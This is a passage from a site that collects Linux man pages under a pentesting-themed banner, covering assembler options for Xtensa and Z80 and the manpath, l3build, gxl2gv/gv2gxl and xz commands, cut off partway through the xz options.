Control the treatment of literal pools. The default is –no-text-section-literals, which places literals in separate sections in the output file. This allows the literal pool to be placed in a data RAM/ROM. With –text-section-literals, the literals are interspersed in the text section in order to keep them as close as possible to their references. This may be necessary for large assembly files, where the literals would otherwise be out of range of the L32R instructions in the text section. Literals are grouped into pools following .literal_position directives or preceding ENTRY instructions. These options only affect literals referenced via PC-relative L32R instructions; literals for absolute mode L32R instructions are handled separately.

–auto-litpools | –no-auto-litpools
Control the treatment of literal pools. The default is –no-auto-litpools, which in the absence of –text-section-literals places literals in separate sections in the output file. This allows the literal pool to be placed in a data RAM/ROM. With –auto-litpools, the literals are interspersed in the text section in order to keep them as close as possible to their references, explicit .literal_position directives are not required. This may be necessary for very large functions, where single literal pool at the beginning of the function may not be reachable by L32R instructions at the end. These options only affect literals referenced via PC-relative L32R instructions; literals for absolute mode L32R instructions are handled separately. When used together with –text-section-literals, –auto-litpools takes precedence.

–absolute-literals | –no-absolute-literals
Indicate to the assembler whether L32R instructions use absolute or PC-relative addressing. If the processor includes the absolute addressing option, the default is to use absolute L32R relocations. Otherwise, only the PC-relative L32R relocations can be used.

–target-align | –no-target-align
Enable or disable automatic alignment to reduce branch penalties at some expense in code size. This optimization is enabled by default. Note that the assembler will always align instructions like LOOP that have fixed alignment requirements.

–longcalls | –no-longcalls
Enable or disable transformation of call instructions to allow calls across a greater range of addresses. This option should be used when call targets can potentially be out of range. It may degrade both code size and performance, but the linker can generally optimize away the unnecessary overhead when a call ends up within range. The default is –no-longcalls.

–transform | –no-transform
Enable or disable all assembler transformations of Xtensa instructions, including both relaxation and optimization. The default is –transform; –no-transform should only be used in the rare cases when the instructions must be exactly as specified in the assembly source. Using –no-transform causes out of range instruction operands to be errors.

–rename-section oldname=newname
Rename the oldname section to newname. This option can be used multiple times to rename multiple sections.

–trampolines | –no-trampolines
Enable or disable transformation of jump instructions to allow jumps across a greater range of addresses. This option should be used when jump targets can potentially be out of range. In the absence of such jumps this option does not affect code size or performance. The default is –trampolines.

–abi-windowed | –abi-call0
Choose ABI tag written to the .xtensa.info section. ABI tag indicates ABI of the assembly code. A warning is issued by the linker on an attempt to link object files with inconsistent ABI tags. Default ABI is chosen by the Xtensa core configuration.

The following options are available when as is configured for an Z80 processor.

@chapter Z80 Dependent Features

Command-line Options

-march=CPU[-EXT…][+EXT…]
This option specifies the target processor. The assembler will issue an error message if an attempt is made to assemble an instruction which will not execute on the target processor. The following processor names are recognized: z80, z180, ez80, gbz80, z80n, r800. In addition to the basic instruction set, the assembler can be told to accept some extension mnemonics. For example, -march=z180+sli+infc extends z180 with SLI instructions and IN F,(C). The following extensions are currently supported: full (all known instructions), adl (ADL CPU mode by default, eZ80 only), sli (instruction known as SLI, SLL or SL1), xyhl (instructions with halves of index registers: IXL, IXH, IYL, IYH), xdcb (instructions like RotOp (II+d),R and BitOp n,(II+d),R), infc (instruction IN F,(C) or IN (C)), outc0 (instruction OUT (C),0). Note that rather than extending a basic instruction set, the extension mnemonics starting with - revoke the respective functionality: -march=z80-full+xyhl first removes all default extensions and adds support for index registers halves only. If this option is not specified then -march=z80+xyhl+infc is assumed.

-local-prefix=prefix
Mark all labels with specified prefix as local. But such label can be marked global explicitly in the code. This option do not change default local label prefix .L, it is just adds new one.

-colonless
Accept colonless labels. All symbols at line begin are treated as labels.

-sdcc
Accept assembler code produced by SDCC.

-fp-s=FORMAT
Single precision floating point numbers format. Default: ieee754 (32 bit).

-fp-d=FORMAT
Double precision floating point numbers format. Default: ieee754 (64 bit).

SEE ALSO

gcc (1), ld (1), and the Info entries for binutils and ld.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1520 - Linux cli command manpath

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command manpath and provides detailed information about the command manpath, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the manpath.

NAME 🖥️ manpath 🖥️

determine search path for manual pages

SYNOPSIS

manpath [ -qgdc?V ] [ -m system [ ,. . . ] ] [ -C file ]

DESCRIPTION

If $MANPATH is set, manpath will simply display its contents and issue a warning. If not, manpath will determine a suitable manual page hierarchy search path and display the results.

The colon-delimited path is determined using information gained from the man-db configuration file – (/etc/manpath.config) and the user’s environment.

OPTIONS

-q, –quiet
Do not issue warnings.

-d, –debug
Print debugging information.

-c, –catpath
Produce a catpath as opposed to a manpath. Once the manpath is determined, each path element is converted to its relative catpath.

-g, –global
Produce a manpath consisting of all paths named as “global” within the man-db configuration file.

-m system [ ,. . . ] , **–systems=**system [ ,. . . ]
If this system has access to other operating systems’ manual hierarchies, this option can be used to include them in the output of manpath. To include NewOS’s manual page hierarchies use the option -m NewOS.

The system specified can be a combination of comma delimited operating system names. To include the native operating system’s manual page hierarchies, the system name man must be included in the argument string. This option will override the $SYSTEM environment variable.

**-C file, **–config-file=****file
Use this user configuration file rather than the default of ~/.manpath.

-?, –help
Print a help message and exit.

–usage
Print a short usage message and exit.

-V, –version
Display version information.

ENVIRONMENT

MANPATH
If $MANPATH is set, manpath displays its value rather than determining it on the fly.

See the SEARCH PATH section of manpath(5) for the default behaviour and details of how this environment variable is handled.

SYSTEM
If $SYSTEM is set, it will have the same effect as if it had been specified as the argument to the -m option.

FILES

/etc/manpath.config
man-db configuration file.

SEE ALSO

apropos(1), man(1), whatis(1)

AUTHOR

Wilf. ([email protected]).
Fabrizio Polacco ([email protected]).
Colin Watson ([email protected]).

BUGS

https://gitlab.com/man-db/man-db/-/issues
https://savannah.nongnu.org/bugs/?group=man-db

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1521 - Linux cli command l3build

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command l3build and provides detailed information about the command l3build, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the l3build.

NAME 🖥️ l3build 🖥️

SYNOPSIS

Usage l3build <target> [<options>] [<names>]

DESCRIPTION


The l3build module is designed to support the development of high-quality LaTeX code by providing: * A unit testing system * Automated typesetting of code sources * A reliable packaging system for CTAN releases

The bundle consists of a Lua script to run the tasks and a

originally developed for supporting LaTeX development but are designed such that they can be readily used by others. Full documentation is provided.

COMMANDS

Valid targets are: check Runs all automated tests clean Cleans out directory tree ctan Creates CTAN-ready archive doc Typesets all documentation files install Installs files into the local texmf tree manifest Creates a manifest file save Saves test validation log tag Updates release tags in files uninstall Uninstalls files from the local texmf tree unpack Unpacks the source files into the build tree upload Sends archive to CTAN for public release

OPTIONS

Valid options are: –config|-c Sets the config(s) used for running tests –date Sets the date to insert into sources –debug Runs target in debug mode –dirty Skips cleaning up the test area –dry-run Dry run for install or upload –email Email address of CTAN uploader –engine|-e Sets the engine(s) to use for running test –epoch Sets the epoch for tests and typesetting –file|-F Takes the upload announcement from the given file –first Name of first test to run –full Installs all files –halt-on-error|-H Stops running tests after the first failure –help|-h Prints this message and exits –last Name of last test to run –message|-m Text for upload announcement message –quiet|-q Suppresses TeX output when unpacking –rerun Skips setup: simply reruns tests –show-log-on-error Shows the full log of the failure with ‘halt-on-error’ –show-saves|-S Shows the invocation to update failing .tlg files –shuffle Shuffles order of tests –stdengine|-s Run tests with the std engine (config dependent) –texmfhome Location of user texmf tree –version Prints version information and exits

SEE ALSO

Full manual available via ’texdoc l3build’.

Repository : https://github.com/latex3/l3build

Bug tracker : https://github.com/latex3/l3build/issues

AUTHORS

Copyright (C) 2014-2024 The LaTeX Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1522 - Linux cli command gv2gxl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command gv2gxl and provides detailed information about the command gv2gxl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the gv2gxl.

NAME 🖥️ gv2gxl 🖥️

GXL-GV converters

SYNOPSIS

gxl2gv [ -gd? ] [ -ooutfile ] [ files ]
gv2gxl [ -gd? ] [ -ooutfile ] [ files ]

DESCRIPTION

gxl2gv converts between graphs represented in GXL and in the GV language. Unless a conversion type is specified using a flag, gxl2gv will deduce the type of conversion from the suffix of the input file, a “.gv” suffix causing a conversion from GV to GXL, and a “.gxl” suffix causing a conversion from GXL to GV. If no suffix is available, e.g. when the input is from a pipe, and no flags are used then gxl2gv assumes the type of the input file from its executable name so that gxl2gv converts from GXL to GV, and gv2gxl converts from GV to GXL.

GXL supports a much richer graph model than GV. gxl2gv will attempt to map GXL constructs into the analogous GV construct when this is possible. If not, the GXL information is stored as an attribute. The intention is that applying gxl2gv|gv2gxl is semantically equivalent to the identity operator.

OPTIONS

The following options are supported:

-g
The command name and input file extensions are ignored, the input is taken as a GV file and a GXL file is generated.

-d
The command name and input file extensions are ignored, the input is taken as a GXL file and a GV file is generated.

-?
Prints usage information and exits.

-o* outfile*
If specified, the output will be written into the file outfile. Otherwise, output is written to standard out.

OPERANDS

The following operand is supported:

files
Names of files containing 1 or more graphs in GXL or GV. If no files operand is specified, the standard input will be used.

RETURN CODES

Both gxl2gv and gv2gxl return 0 if there were no problems during conversion; and non-zero if any error occurred.

BUGS

gxl2gv will only convert in one direction even if given multiple files with varying suffixes.

The conversion can only handle one graph per GXL file.

There are some GXL constructs which gxl2gv cannot handle.

AUTHORS

Krishnam Pericherla <[email protected]>
Emden R. Gansner <[email protected]>

SEE ALSO

dot(1), libgraph(3), libagraph(3), neato(1), twopi(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1523 - Linux cli command xzcat

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xzcat and provides detailed information about the command xzcat, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xzcat.

NAME 🖥️ xzcat 🖥️

Compress or decompress .xz and .lzma files

SYNOPSIS

xz [option…] [file…]

COMMAND ALIASES

unxz is equivalent to xz –decompress.
xzcat is equivalent to xz –decompress –stdout.
lzma is equivalent to xz –format=lzma.
unlzma is equivalent to xz –format=lzma –decompress.
lzcat is equivalent to xz –format=lzma –decompress –stdout.

When writing scripts that need to decompress files, it is recommended to always use the name xz with appropriate arguments (xz -d or xz -dc) instead of the names unxz and xzcat.

DESCRIPTION

xz is a general-purpose data compression tool with command line syntax similar to gzip(1) and bzip2(1). The native file format is the .xz format, but the legacy .lzma format used by LZMA Utils and raw compressed streams with no container format headers are also supported. In addition, decompression of the .lz format used by lzip is supported.

xz compresses or decompresses each file according to the selected operation mode. If no files are given or file is -, xz reads from standard input and writes the processed data to standard output. xz will refuse (display an error and skip the file) to write compressed data to standard output if it is a terminal. Similarly, xz will refuse to read compressed data from standard input if it is a terminal.

Unless –stdout is specified, files other than - are written to a new file whose name is derived from the source file name:

  • When compressing, the suffix of the target file format (.xz or .lzma) is appended to the source filename to get the target filename.

  • When decompressing, the .xz, .lzma, or .lz suffix is removed from the filename to get the target filename. xz also recognizes the suffixes .txz and .tlz, and replaces them with the .tar suffix.

If the target file already exists, an error is displayed and the file is skipped.

Unless writing to standard output, xz will display a warning and skip the file if any of the following applies:

  • File is not a regular file. Symbolic links are not followed, and thus they are not considered to be regular files.

  • File has more than one hard link.

  • File has setuid, setgid, or sticky bit set.

  • The operation mode is set to compress and the file already has a suffix of the target file format (.xz or .txz when compressing to the .xz format, and .lzma or .tlz when compressing to the .lzma format).

  • The operation mode is set to decompress and the file doesn’t have a suffix of any of the supported file formats (.xz, .txz, .lzma, .tlz, or .lz).

After successfully compressing or decompressing the file, xz copies the owner, group, permissions, access time, and modification time from the source file to the target file. If copying the group fails, the permissions are modified so that the target file doesn’t become accessible to users who didn’t have permission to access the source file. xz doesn’t support copying other metadata like access control lists or extended attributes yet.

Once the target file has been successfully closed, the source file is removed unless –keep was specified. The source file is never removed if the output is written to standard output or if an error occurs.

Sending SIGINFO or SIGUSR1 to the xz process makes it print progress information to standard error. This has only limited use since when standard error is a terminal, using –verbose will display an automatically updating progress indicator.

Memory usage

The memory usage of xz varies from a few hundred kilobytes to several gigabytes depending on the compression settings. The settings used when compressing a file determine the memory requirements of the decompressor. Typically the decompressor needs 5 % to 20 % of the amount of memory that the compressor needed when creating the file. For example, decompressing a file created with xz -9 currently requires 65 MiB of memory. Still, it is possible to have .xz files that require several gigabytes of memory to decompress.

Especially users of older systems may find the possibility of very large memory usage annoying. To prevent uncomfortable surprises, xz has a built-in memory usage limiter, which is disabled by default. While some operating systems provide ways to limit the memory usage of processes, relying on it wasn’t deemed to be flexible enough (for example, using ulimit(1) to limit virtual memory tends to cripple mmap(2)).

The memory usage limiter can be enabled with the command line option **–memlimit=**limit. Often it is more convenient to enable the limiter by default by setting the environment variable XZ_DEFAULTS, for example, XZ_DEFAULTS=–memlimit=150MiB. It is possible to set the limits separately for compression and decompression by using **–memlimit-compress=**limit and **–memlimit-decompress=**limit. Using these two options outside XZ_DEFAULTS is rarely useful because a single run of xz cannot do both compression and decompression and **–memlimit=**limit (or -M limit) is shorter to type on the command line.

If the specified memory usage limit is exceeded when decompressing, xz will display an error and decompressing the file will fail. If the limit is exceeded when compressing, xz will try to scale the settings down so that the limit is no longer exceeded (except when using –format=raw or –no-adjust). This way the operation won’t fail unless the limit is very small. The scaling of the settings is done in steps that don’t match the compression level presets, for example, if the limit is only slightly less than the amount required for xz -9, the settings will be scaled down only a little, not all the way down to xz -8.

Concatenation and padding with .xz files

It is possible to concatenate .xz files as is. xz will decompress such files as if they were a single .xz file.

It is possible to insert padding between the concatenated parts or after the last part. The padding must consist of null bytes and the size of the padding must be a multiple of four bytes. This can be useful, for example, if the .xz file is stored on a medium that measures file sizes in 512-byte blocks.

Concatenation and padding are not allowed with .lzma files or raw streams.

OPTIONS

Integer suffixes and special values

In most places where an integer argument is expected, an optional suffix is supported to easily indicate large integers. There must be no space between the integer and the suffix.

KiB
Multiply the integer by 1,024 (2^10). Ki, k, kB, K, and KB are accepted as synonyms for KiB.

MiB
Multiply the integer by 1,048,576 (2^20). Mi, m, M, and MB are accepted as synonyms for MiB.

GiB
Multiply the integer by 1,073,741,824 (2^30). Gi, g, G, and GB are accepted as synonyms for GiB.

The special value max can be used to indicate the maximum integer value supported by the option.

Operation mode

If multiple operation mode options are given, the last one takes effect.

-z, –compress
Compress. This is the default operation mode when no operation mode option is specified and no other operation mode is implied from the command name (for example, unxz implies –decompress).

-d, –decompress, –uncompress
Decompress.

-t, –test
Test the integrity of compressed files. This option is equivalent to –decompress –stdout except that the decompressed data is discarded instead of being written to standard output. No files are created or removed.

-l, –list
Print information about compressed files. No uncompressed output is produced, and no files are created or removed. In list mode, the program cannot read the compressed data from standard input or from other unseekable sources.

The default listing shows basic information about files, one file per line. To get more detailed information, use also the –verbose option. For even more information, use –verbose twice, but note that this may be slow, because getting all the extra information requires many seeks. The width of verbose output exceeds 80 characters, so piping the output to, for example, less -S may be convenient if the terminal isn’t wide enough.

The exact output may vary between xz versions and different locales. For machine-readable output, –robot –list should be used.

Operation modifiers

-k, –keep
Don’t delete the input files.

Since xz 5.2.6, this option also makes xz compress or decompress even if the input is a symbolic link to a regular file, has more than one hard link, or has the setuid, setgid, or sticky bit set. The setuid, setgid, and sticky bits are not copied to the target file. In earlier versions this was only done with –force.

-f, –force
This option has several effects:

  • If the target file already exists, delete it before compressing or decompressing.

  • Compress or decompress even if the input is a symbolic link to a regular file, has more than one hard link, or has the setuid, setgid, or sticky bit set. The setuid, setgid, and sticky bits are not copied to the target file.

  • When used with –decompress –stdout and xz cannot recognize the type of the source file, copy the source file as is to standard output. This allows xzcat –force to be used like cat(1) for files that have not been compressed with xz. Note that in future, xz might support new compressed file formats, which may make xz decompress more types of files instead of copying them as is to standard output. **–format=**format can be used to restrict xz to decompress only a single file format.

-c, –stdout, –to-stdout
Write the compressed or decompressed data to standard output instead of a file. This implies –keep.

–single-stream
Decompress only the first .xz stream, and silently ignore possible remaining input data following the stream. Normally such trailing garbage makes xz display an error.

xz never decompresses more than one stream from .lzma files or raw streams, but this option still makes xz ignore the possible trailing data after the .lzma file or raw stream.

This option has no effect if the operation mode is not –decompress or –test.

–no-sparse
Disable creation of sparse files. By default, if decompressing into a regular file, xz tries to make the file sparse if the decompressed data contains long sequences of binary zeros. It also works when writing to standard output as long as standard output is connected to a regular file and certain additional conditions are met to make it safe. Creating sparse files may save disk space and speed up the decompression by reducing the amount of disk I/O.

-S .suf, –suffix=.suf
When compressing, use .suf as the suffix for the target file instead of .xz or .lzma. If not writing to standard output and the source file already has the suffix .suf, a warning is displayed and the file is skipped.

When decompressing, recognize files with the suffix .suf in addition to files with the .xz, .txz, .lzma, .tlz, or .lz suffix. If the source file has the suffix .suf, the suffix is removed to get the target filename.

When compressing or decompressing raw streams (–format=raw), the suffix must always be specified unless writing to standard output, because there is no default suffix for raw streams.

–files[=file]
Read the filenames to process from file; if file is omitted, filenames are read from standard input. Filenames must be terminated with the newline character. A dash (
-
) is taken as a regular filename; it doesn’t mean standard input. If filenames are given also as command line arguments, they are processed before the filenames read from file.

–files0[**=file]
This is identical to –files[
=**file] except that each filename must be terminated with the null character.

Basic file format and compression options

-F format, **–format=**format
Specify the file format to compress or decompress:

auto
This is the default. When compressing, auto is equivalent to xz. When decompressing, the format of the input file is automatically detected. Note that raw streams (created with –format=raw) cannot be auto-detected.

xz
Compress to the .xz file format, or accept only .xz files when decompressing.

lzma, alone
Compress to the legacy .lzma file format, or accept only .lzma files when decompressing. The alternative name alone is provided for backwards compatibility with LZMA Utils.

lzip
Accept only .lz files when decompressing. Compression is not supported.

The .lz format version 0 and the unextended version 1 are supported. Version 0 files were produced by lzip 1.3 and older. Such files aren’t common but may be found from file archives as a few source packages were released in this format. People might have old personal files in this format too. Decompression support for the format version 0 was removed in lzip 1.18.

lzip 1.4 and later create files in the format version 1. The sync flush marker extension to the format version 1 was added in lzip 1.6. This extension is rarely used and isn’t supported by xz (diagnosed as corrupt input).

raw
Compress or uncompress a raw stream (no headers). This is meant for advanced users only. To decode raw streams, you need use –format=raw and explicitly specify the filter chain, which normally would have been stored in the container headers.

-C check, **–check=**check
Specify the type of the integrity check. The check is calculated from the uncompressed data and stored in the .xz file. This option has an effect only when compressing into the .xz format; the .lzma format doesn’t support integrity checks. The integrity check (if any) is verified when the .xz file is decompressed.

Supported check types:

none
Don’t calculate an integrity check at all. This is usually a bad idea. This can be useful when integrity of the data is verified by other means anyway.

crc32
Calculate CRC32 using the polynomial from IEEE-802.3 (Ethernet).

crc64
Calculate CRC64 using the polynomial from ECMA-182. This is the default, since it is slightly better than CRC32 at detecting damaged files and the speed difference is negligible.

sha256
Calculate SHA-256. This is somewhat slower than CRC32 and CRC64.

Integrity of the .xz headers is always verified with CRC32. It is not possible to change or disable it.

–ignore-check
Don’t verify the integrity check of the compressed data when decompressing. The CRC32 values in the .xz headers will still be verified normally.

Do not use this option unless you know what you are doing. Possible reasons to use this option:

  • Trying to recover data from a corrupt .xz file.

  • Speeding up decompression. This matters mostly with SHA-256 or with files that have compressed extremely well. It’s recommended to not use this option for this purpose unless the file integrity is verified externally in some other way.

-0-9
Select a compression preset level. The default is -6. If multiple preset levels are specified, the last one takes effect. If a custom filter chain was already specified, setting a compression preset level clears the custom filter chain.

The differences between the presets are more significant than with gzip(1) and bzip2(1). The selected compression settings determine the memory requirements of the decompressor, thus using a too high preset level might make it painful to decompress the file on an old system with little RAM. Specifically, it’s not a good idea to blindly use -9 for everything like it often is with gzip(1) and bzip2(1).

-0-3
These are somewhat fast presets. -0 is sometimes faster than gzip -9 while compressing much better. The higher ones often have speed comparable to bzip2(1) with comparable or better compression ratio, although the results depend a lot on the type of data being compressed.

-4-6
Good to very good compression while keeping decompressor memory usage reasonable even for old systems. -6 is the default, which is usually a good choice for distributing files that need to be decompressible even on systems with only 16 MiB RAM. (-5e or -6e may be worth considering too. See –extreme.)

-7 … -9
These are like -6 but with higher compressor and decompressor memory requirements. These are useful only when compressing files bigger than 8 MiB, 16 MiB, and 32 MiB, respectively.

On the same hardware, the decompression speed is approximately a constant number of bytes of compressed data per second. In other words, the better the compression, the faster the decompression will usually be. This also means that the amount of uncompressed output produced per second can vary a lot.

The following table summarises the features of the presets:

PresetDictSizeCompCPUCompMemDecMem
-0256 KiB03 MiB1 MiB
-11 MiB19 MiB2 MiB
-22 MiB217 MiB3 MiB
-34 MiB332 MiB5 MiB
-44 MiB448 MiB5 MiB
-58 MiB594 MiB9 MiB
-68 MiB694 MiB9 MiB
-716 MiB6186 MiB17 MiB
-832 MiB6370 MiB33 MiB
-964 MiB6674 MiB65 MiB

Column descriptions:

  • DictSize is the LZMA2 dictionary size. It is waste of memory to use a dictionary bigger than the size of the uncompressed file. This is why it is good to avoid using the presets -7-9 when there’s no real need for them. At -6 and lower, the amount of memory wasted is usually low enough to not matter.

  • CompCPU is a simplified representation of the LZMA2 settings that affect compression speed. The dictionary size affects speed too, so while CompCPU is the same for levels -6-9, higher levels still tend to be a little slower. To get even slower and thus possibly better compression, see –extreme.

  • CompMem contains the compressor memory requirements in the single-threaded mode. It may vary slightly between xz versions.

  • DecMem contains the decompressor memory requirements. That is, the compression settings determine the memory requirements of the decompressor. The exact decompressor memory usage is slightly more than the LZMA2 dictionary size, but the values in the table have been rounded up to the next full MiB.

Memory requirements of the multi-threaded mode are significantly higher than that of the single-threaded mode. With the default value of –block-size, each thread needs 3*3*DictSize plus CompMem or DecMem. For example, four threads with preset -6 needs 660–670 MiB of memory.

-e, –extreme
Use a slower variant of the selected compression preset level (-0-9) to hopefully get a little bit better compression ratio, but with bad luck this can also make it worse. Decompressor memory usage is not affected, but compressor memory usage increases a little at preset levels -0-3.

Since there are two presets with dictionary sizes 4 MiB and 8 MiB, the presets -3e and -5e use slightly faster settings (lower CompCPU) than -4e and -6e, respectively. That way no two presets are identical.

PresetDictSizeCompCPUCompMemDecMem
-0e256 KiB84 MiB1 MiB
-1e1 MiB813 MiB2 MiB
-2e2 MiB825 MiB3 MiB
-3e4 MiB748 MiB5 MiB
-4e4 MiB848 MiB5 MiB
-5e8 MiB794 MiB9 MiB
-6e8 MiB894 MiB9 MiB
-7e16 MiB8186 MiB17 MiB
-8e32 MiB8370 MiB33 MiB
-9e64 MiB8674 MiB65 MiB

For example, there are a total of four presets that use 8 MiB dictionary, whose order from the fastest to the slowest is -5, -6, -5e, and -6e.

–fast

–best

These are somewhat misleading aliases for -0 and -9, respectively. These are provided only for backwards compatibility with LZMA Utils. Avoid using these options.

**–block-size=**size
When compressing to the .xz format, split the input data into blocks of size bytes. The blocks are compressed independently from each other, which helps with multi-threading and makes limited random-access decompression possible. This option is typically used to override the default block size in multi-threaded mode, but this option can be used in single-threaded mode too.

In multi-threaded mode about three times size bytes will be allocated in each thread for buffering input and output. The default size is three times the LZMA2 dictionary size or 1 MiB, whichever is more. Typically a good value is 2–4 times the size of the LZMA2 dictionary or at least 1 MiB. Using size less than the LZMA2 dictionary size is waste of RAM because then the LZMA2 dictionary buffer will never get fully used. In multi-threaded mode, the sizes of the blocks are stored in the block headers. This size information is required for multi-threaded decompression.

In single-threaded mode no block splitting is done by default. Setting this option doesn’t affect memory usage. No size information is stored in block headers, thus files created in single-threaded mode won’t be identical to files created in multi-threaded mode. The lack of size information also means that xz won’t be able decompress the files in multi-threaded mode.

**–block-list=**items
When compressing to the .xz format, start a new block with an optional custom filter chain after the given intervals of uncompressed data.

The items are a comma-separated list. Each item consists of an optional filter chain number between 0 and 9 followed by a colon (:) and a required size of uncompressed data. Omitting an item (two or more consecutive commas) is a shorthand to use the size and filters of the previous item.

If the input file is bigger than the sum of the sizes in items, the last item is repeated until the end of the file. A special value of 0 may be used as the last size to indicate that the rest of the file should be encoded as a single block.

An alternative filter chain for each block can be specified in combination with the **–filters1=**filters–filters9=filters options. These options define filter chains with an identifier between 1–9. Filter chain 0 can be used to refer to the default filter chain, which is the same as not specifying a filter chain. The filter chain identifier can be used before the uncompressed size, followed by a colon (:). For example, if one specifies –block-list=1:2MiB,3:2MiB,2:4MiB,,2MiB,0:4MiB then blocks will be created using:

  • The filter chain specified by –filters1 and 2 MiB input

  • The filter chain specified by –filters3 and 2 MiB input

  • The filter chain specified by –filters2 and 4 MiB input

  • The filter chain specified by –filters2 and 4 MiB input

  • The default filter chain and 2 MiB input

  • The default filter chain and 4 MiB input for every block until end of input.

If one specifies a size that exceeds the encoder’s block size (either the default value in threaded mode or the value specified with **–block-size=**size), the encoder will create additional blocks while keeping the boundaries specified in items. For example, if one specifies –block-size=10MiB –block-list=5MiB,10MiB,8MiB,12MiB,24MiB and the input file is 80 MiB, one will get 11 blocks: 5, 10, 8, 10, 2, 10, 10, 4, 10, 10, and 1 MiB.

In multi-threaded mode the sizes of the blocks are stored in the block headers. This isn’t done in single-threaded mode, so the encoded output won’t be identical to that of the multi-threaded mode.

**–flush-timeout=**timeout
When compressing, if more than timeout milliseconds (a positive integer) has passed since the previous flush and reading more input would block, all the pending input data is flushed from the encoder and made available in the output stream. This can be useful if xz is used to compress data that is streamed over a network. Small timeout values make the data available at the receiving end with a small delay, but large timeout values give better compression ratio.

This feature is disabled by default. If this option is specified more than once, the last one takes effect. The special timeout value of 0 can be used to explicitly disable this feature.

This feature is not available on non-POSIX systems.

This feature is still experimental. Currently xz is unsuitable for decompressing the stream in real time due to how xz does buffering.

**–memlimit-compress=**limit
Set a memory usage limit for compression. If this option is specified multiple times, the last one takes effect.

